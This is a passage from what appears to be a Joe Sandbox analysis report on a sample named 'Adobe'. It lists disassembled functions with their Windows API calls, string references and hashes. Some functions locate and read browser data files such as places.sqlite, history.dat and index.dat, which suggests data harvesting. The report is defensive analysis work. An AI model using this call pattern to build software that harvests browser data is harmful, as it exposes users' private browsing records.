                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                        • memcmp.MSVCRT(?,0044EC68,00000010,?,00000000,?), ref: 00444BA5
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$memcmp
                                                                                        • String ID: $$8
                                                                                        • API String ID: 2808797137-435121686
                                                                                        • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                        • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                                                                                        • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                        • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                                                                                        Function 00430737 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        • duplicate column name: %s, xrefs: 004307FE
                                                                                        • too many columns on %s, xrefs: 00430763
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: duplicate column name: %s$too many columns on %s
                                                                                        • API String ID: 0-1445880494
                                                                                        • Opcode ID: d71f1f637ec18e5f8a62c501b2db333135d8de05f3daff8c641ff98159ef3fea
                                                                                        • Instruction ID: 332525b9e829d337f3b342900587a6bcab00951879d739311f42b30c77ca79e1
                                                                                        • Opcode Fuzzy Hash: d71f1f637ec18e5f8a62c501b2db333135d8de05f3daff8c641ff98159ef3fea
                                                                                        • Instruction Fuzzy Hash: 5E314735500705AFCB109F55C891ABEB7B5EF88318F24815BE8969B342C738F841CB99
                                                                                        Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                          • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                          • Part of subcall function 0040E01E: DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                          • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                          • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                          • Part of subcall function 0040E01E: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                          • Part of subcall function 0040E01E: WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                          • Part of subcall function 0040E01E: UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                          • Part of subcall function 0040E01E: CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                        • CloseHandle.KERNELBASE(000000FF,000000FF,00000000,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E582
                                                                                          • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                                                                                          • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                                                                                          • Part of subcall function 0040E2AB: memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,75922EE0), ref: 0040E3EC
                                                                                        • DeleteFileW.KERNELBASE(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                                                                                        • CloseHandle.KERNEL32(000000FF,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5CA
                                                                                          • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                                                                                          • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                                                                                          • Part of subcall function 0040E175: free.MSVCRT ref: 0040E28B
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$Handle$Close$ProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
                                                                                        • String ID:
                                                                                        • API String ID: 1979745280-0
                                                                                        • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                        • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                                                                                        • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                        • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                                                                                        Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                                                                                          • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                                                                                          • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                                                                                          • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                                                                                        • memset.MSVCRT ref: 00403A55
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                          • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                          • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                          • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                          • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memsetwcscatwcslen$free$AttributesFilememcpywcscpy
                                                                                        • String ID: history.dat$places.sqlite
                                                                                        • API String ID: 2641622041-467022611
                                                                                        • Opcode ID: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                        • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                                                                                        • Opcode Fuzzy Hash: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                        • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                                                                                        Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00417570: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                          • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                                                                                          • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                                                                                        • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0041761D
                                                                                        • GetLastError.KERNEL32 ref: 00417627
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$File$PointerRead
                                                                                        • String ID:
                                                                                        • API String ID: 839530781-0
                                                                                        • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                        • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                                                                                        • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                        • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                                                                                        Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FileFindFirst
                                                                                        • String ID: *.*$index.dat
                                                                                        • API String ID: 1974802433-2863569691
                                                                                        • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                        • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                                                                                        • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                        • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                                                                                        Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                        • GetLastError.KERNEL32 ref: 004175A2
                                                                                        • GetLastError.KERNEL32 ref: 004175A8
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ErrorLast$FilePointer
                                                                                        • String ID:
                                                                                        • API String ID: 1156039329-0
                                                                                        • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                        • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                                                                                        • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                        • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                                                                                        Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                        • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                        • CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$CloseCreateHandleTime
                                                                                        • String ID:
                                                                                        • API String ID: 3397143404-0
                                                                                        • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                        • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                                                                                        • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                        • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                                                                                        Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                        • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                        • GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Temp$DirectoryFileNamePathWindows
                                                                                        • String ID:
                                                                                        • API String ID: 1125800050-0
                                                                                        • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                        • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                                                                                        • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                        • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                                                                                        Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • Sleep.KERNEL32(00000064), ref: 004175D0
                                                                                        • CloseHandle.KERNELBASE(?,00000000,?,0045DBC0,00417C24,?,00000000,00000000,?,00417DE1,?,00000000), ref: 004175D9
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CloseHandleSleep
                                                                                        • String ID: }A
                                                                                        • API String ID: 252777609-2138825249
                                                                                        • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                        • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                                                                                        • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                        • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                                                                                        Function 004099F4 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • malloc.MSVCRT ref: 00409A10
                                                                                        • memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                        • free.MSVCRT ref: 00409A31
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: freemallocmemcpy
                                                                                        • String ID:
                                                                                        • API String ID: 3056473165-0
                                                                                        • Opcode ID: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                        • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                                                                                        • Opcode Fuzzy Hash: a8c2b4a2abbe370f156afd1ac3a64450955b5e367f985048e5f3f029e510ba1a
                                                                                        • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                                                                                        Function 00415320 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • failed memory resize %u to %u bytes, xrefs: 00415358
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: realloc
                                                                                        • String ID: failed memory resize %u to %u bytes
                                                                                        • API String ID: 471065373-2134078882
                                                                                        • Opcode ID: e5ae129d454b891eada76ccbfa458d0a6592737a0e8831e28bd7d44ced5f0510
                                                                                        • Instruction ID: af22f86c8d97814ed0bf188a45fefa7fc909daabc8cee38fca791e75313f3e85
                                                                                        • Opcode Fuzzy Hash: e5ae129d454b891eada76ccbfa458d0a6592737a0e8831e28bd7d44ced5f0510
                                                                                        • Instruction Fuzzy Hash: 49F027B3A01605A7D2109A55DC418CBF3DCDFC4655B06082FF998D3201E168E88083B6
                                                                                        Function 00437371 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 243COMMON
                                                                                        Download Yara Rule
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: d
                                                                                        • API String ID: 0-2564639436
                                                                                        • Opcode ID: b7bdb433cc21537495b9453c0ef7e1d4136cbb83a95eb0b3518e055101e122e1
                                                                                        • Instruction ID: 98c7df9677761670a5e344a1c7628a8b006f0a2246df1cf6f5c5c4488f8f87fd
                                                                                        • Opcode Fuzzy Hash: b7bdb433cc21537495b9453c0ef7e1d4136cbb83a95eb0b3518e055101e122e1
                                                                                        • Instruction Fuzzy Hash: 4591ABB0508302AFDB20DF19D88196FBBE4BF88358F50192FF88497251D778D985CB9A
                                                                                        Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset
                                                                                        • String ID: BINARY
                                                                                        • API String ID: 2221118986-907554435
                                                                                        • Opcode ID: 423c094908dc07756a2ef734edd9c41c0411f3bff0f864234720e07ca5cd074c
                                                                                        • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                                                                                        • Opcode Fuzzy Hash: 423c094908dc07756a2ef734edd9c41c0411f3bff0f864234720e07ca5cd074c
                                                                                        • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                                                                                        Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _wcsicmp
                                                                                        • String ID: /stext
                                                                                        • API String ID: 2081463915-3817206916
                                                                                        • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                        • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                                                                                        • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                        • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                                                                                        Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                        • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                          • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                          • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                          • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                                                                                          • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                                                                                        • CloseHandle.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                          • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                                                                                        • String ID:
                                                                                        • API String ID: 2445788494-0
                                                                                        • Opcode ID: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                                                                                        • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                                                                                        • Opcode Fuzzy Hash: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                                                                                        • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                                                                                        Function 00404423 Relevance: 3.1, APIs: 2, Instructions: 51libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                          • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                          • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                          • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                        • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                        • String ID:
                                                                                        • API String ID: 3150196962-0
                                                                                        • Opcode ID: e13bd3a8970da8505fcd32bc3817dd57930a815364b2861f31204fc1a755a47e
                                                                                        • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                                                                                        • Opcode Fuzzy Hash: e13bd3a8970da8505fcd32bc3817dd57930a815364b2861f31204fc1a755a47e
                                                                                        • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                                                                                        Function 004152C6 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 27COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • failed to allocate %u bytes of memory, xrefs: 004152F0
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: malloc
                                                                                        • String ID: failed to allocate %u bytes of memory
                                                                                        • API String ID: 2803490479-1168259600
                                                                                        • Opcode ID: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                        • Instruction ID: 101c51dc2fc609bd9d1e0073b1fda66f00508c6688545faad3e4fa21ce9dc4bd
                                                                                        • Opcode Fuzzy Hash: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                        • Instruction Fuzzy Hash: 11E0DFB7B02A12A3C200561AED01AC667959FC122572B013BF92CD3681E638D89687A9
                                                                                        Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0041BDDF
                                                                                        • memcmp.MSVCRT(00001388,?,00000010,?,00000065,00000065,?,?,?,?,?,0041F1B4,?,00000065,004381DF,00000065), ref: 0041BDF1
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcmpmemset
                                                                                        • String ID:
                                                                                        • API String ID: 1065087418-0
                                                                                        • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                        • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                                                                                        • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                        • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                                                                                        Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 0040ECF9
                                                                                          • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040EDC0
                                                                                        • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                                                                                        • CloseHandle.KERNELBASE(?), ref: 00410654
                                                                                          • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                          • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                                                                                          • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                                                                                          • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Handle$??2@??3@CloseCreateErrorFileLastMessage_snwprintf
                                                                                        • String ID:
                                                                                        • API String ID: 1381354015-0
                                                                                        • Opcode ID: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                        • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                                                                                        • Opcode Fuzzy Hash: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
